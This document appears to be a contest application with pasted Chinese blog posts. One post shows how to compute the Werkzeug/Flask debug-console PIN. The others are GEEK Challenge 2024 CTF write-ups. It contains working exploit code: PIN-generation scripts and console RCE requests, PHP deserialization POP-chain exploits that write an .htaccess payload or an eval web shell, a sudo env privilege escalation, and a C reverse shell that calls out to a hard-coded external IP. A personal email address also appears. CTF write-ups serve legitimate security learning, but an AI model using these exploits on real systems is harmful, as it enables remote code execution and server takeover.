1、申 请 I D:hatchet
2、个人邮箱:1250617570@qq.com
3、原创技术文章:
我的博客:https://blog.hatchet.top
https://blog.hatchet.top/posts/fc0a87bd
Python中werkzeug有关PIN值的构造
参考自https://blog.hz2016.com/2023/07/flask%E8%B0%83%E8%AF%95%E6%A8%A1%E5%BC%8Fpin%E5%80%BC%E8%AE%A1%E7%AE%97%E5%92%8C%E5%88%A9%E7%94%A8/需要知道的文件名一览用户名
通过/etc/passwd猜测,一般是root。如果有用户目录设在/app大概率是那个用户名源码地址
通过报错得到网络地址/sys/class/net/eth0/address/sys/class/net/ens33/address
需要转十进制(后面有脚本)机器ID1. /etc/machine-id(一般仅非docker机有,截取全文)2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)3. /proc/self/cgroup(一般仅docker有,仅截取最后一个斜杠后面的内容)优先选择1,没有1选2,只能选1,2中的一个。3有没有不影响,有就要连接在1或2的后面。(1 or 2) (+3)脚本算地址(可以内置进下面的版本计算)
address = "02:0a:27:03:12:57"
print(int(address.replace(":", ""), 16))
| 低版本(werkzeug<2.0.x md5)
# MD5
import hashlib
from itertools import chain
probably_public_bits = [
"flaskweb" # username
"flask.app", # modname
"Flask", # getattr(app, '__name__', getattr(app.__class__, '__name__'))
"/usr/local/lib/python3.7/site-packages/flask/app.py", # getattr(mod, '__file__', None),
]
private_bits = [
"25214234362297", # str(uuid.getnode()), /sys/class/net/ens33/address
"0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa", # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
| 高版本(werkzeug>=2.0.x sha1)
# machine-id:
# machine-id是通过**三个文件**里面的内容经过处理后拼接起来
# 1. /etc/machine-id(一般仅非docker机有,截取全文)
# 2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
# 3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# # 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# # 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
# 文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
# 文件3如果存在的话就截取,不存在的话就不用管
# 最后machine-id=(文件1或文件2)+文件3(存在的话)
import hashlib
from itertools import chain
probably_public_bits = [
"root" # /etc/passwd
"flask.app", # 默认值
"Flask", # 默认值
"/usr/local/lib/python3.10/site-packages/flask/app.py", # moddir,报错得到
]
private_bits = [
"2242627441239", # /sys/class/net/eth0/address 十进制
# 1. /etc/machine-id 2. /proc/sys/kernel/random/boot_id 3. /proc/self/cgroup (1 or 2)(+3)
"d45a88e1-3fe4-4156-9e59-3864587b7c87", #
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
| 注意的点(重点)
开启调试在/console输入参数
发现/console藏有源码如
<script>
var CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "HwSWplRMh0QHXH37xhln";
</script>
|
计算好PIN值后传参/console?__debugger__=yes&cmd=pinauth&pin=683-407-538&s=HwSWplRMh0QHXH37xhln
s的值取自源码
当出现 {“auth”: true, “exhausted”: false}时说明验证成功
获取输入PIN值后的cookie并拿到flag/console?__debugger__=yes&cmd=open('/flag').read()&frm=0&s=HwSWplRMh0QHXH37xhlnCookie: __wzd489be12137736dc7b5b4=1729773727|f867e64c2141RCE:import os;os.popen('cat /flag').read()开启调试模式,但访问路由报400
对debug console的请求需要来自信任的host
添加Header Host:127.0.0.1,写到原Host前后
https://blog.hatchet.top/posts/c264f0a9
GEEK Challenge2024 Web+Misc+Crypto个人题解WP(节取部分)
ezpop
题目源码:
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}
Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}
public function __invoke()
{
echo $this->meimeng;
}
}
Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}
public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}
}
if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}
|
题目确实出到不会的考点了,反复调用的问题开始无法解决,导致一直空着,解题思路是在做第二个pop链的GC回收时看到的绕过反复调用
https://blog.csdn.net/Jayjay___/article/details/130647484?spm=1001.2014.3001.5502
绕过方法为多实例化一个对象
一般的pop链连接不讲了,最后需要绕过死亡exit命令。
屏蔽了二次编码和一些直接写马的可能,好在我们不用RCE,可以不用尖括号
写个.htaccess文件,利用 php_value auto_prepend_file "/flag" 直接回显出flag
exp如下:
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}
Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}
public function __invoke()
{
echo $this->meimeng;
}
}
Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}
public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}
}
$S=new SYC();
$l1=new lover();
$l2=new lover();
$G1=new Geek();
$G2 = new Geek();
$l1->J1rry="data://text/plain,Welcome GeekChallenge 2024";
$l1->meimeng = $G1;
$G1->GSBP = $l2;
$l2->meimeng = $G2;
$G2->GSBP = $S;
#'/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i'
# string.toupper
# string.tolower
# string.strip_tags
$S->starven='php://filter/string.strip_tags/?>php_value auto_prepend_file "/flag"<?/resource=.htaccess';
$exp=serialize($l1);
$exp=str_replace('s:7:"meimeng"', 'S:7:"m\65imeng"', $exp);
echo urlencode($exp);
| not_just_pop
题目源码:
<?php
highlight_file(__FILE__);
ini_get('open_basedir');
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}
}
class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}
class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}
}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}
}
$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}
|
throw new Exception是明显的GC回收标志。除了这个就是锻炼serialize基本功的时间了
https://blog.csdn.net/Jayjay___/article/details/130647484
GC回收的利用方法:
假设先前你要序列化a对象,改为serialize($a, null),并把最后的i:1对象破坏,变成i:0, 这样就可以绕过throw new Exception。
因为PHP7.3后对private和protect不敏感,所以直接用public就可以
exp:
<?php
ini_get('open_basedir');
class lhRaMK7{
public $Do;
public $You;
public $love='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");';
public $web='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");';
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do); #=>Parar::__set
}
}
class Parar{
public $execurise;
public $lead;
public $hansome;
public function __construct() {
$this->execurise="man!";
}
public function __set($name,$value)
{
echo $this->lead; #=>Starven::__toString
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){ #=>SYC::__isset
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}
class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc; #=>Parar:: __get
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();# =>lhRaMk7::__invoke
}
}
class SYC{
public $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();# =>Starven::__call
}
}
$n = null;
$l1 = new lhRaMK7();
$l2 = new lhRaMK7();
$P1 = new Parar();
$P2 = new Parar();
$S1 = new Starven();
$S2 = new Starven();
$SYC = new SYC();
$l1->You = $P1; #=>Parar::__set
$P1->lead = $S1; #=>Starven::__toString
$S1->girl = $P2; #=>Parar:: __get
$P2->hansome = $SYC; #=>SYC::__isset
$SYC->forever = $S2; #=>Starven::__call
$S2->friend = $l2; #=>lhRaMk7::__invoke
$Syclover=serialize(array($l1,$n));
$Syclover = str_replace("i:1;N;}", "i:0;N;}", $Syclover);
// $Syclover=str_replace("O:7", "O:8", $Syclover);
// $Syclover=str_replace('s:17:', 's:16:', $Syclover);
// $Syclover = rtrim($Syclover, '}');
echo $Syclover."\n";
echo base64_encode($Syclover);
// $Syclover=$_GET['Syclover'];
// if (isset($Syclover)) {
// unserialize(base64_decode($Syclover));
// throw new Exception("None");
// }else{
// echo("怎么不给我呢,是不喜欢吗?");
// }
|
蚁剑连上shell发现ret 127,说明存在disable_functions
在蚁剑市场下载php_disable_functions绕过插件
利用其中的PHP7_UserFilter绕过
发现/flag需要root权限,尝试SUID提权find / -user root -perm -4000 -print 2>/dev/null
没找到有用的sudo -l
env 可以直接获取root权限 https://gtfobins.github.io/#envsudo env /bin/sh
蚁剑的shell不大行,切到自己的vps上提权
先写个反弹shell https://www.revshells.com/
exp.c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 1234;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("8.155.17.250");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"bash", NULL};
execvp("bash", argv);
return 0;
}
|
拿到flag
|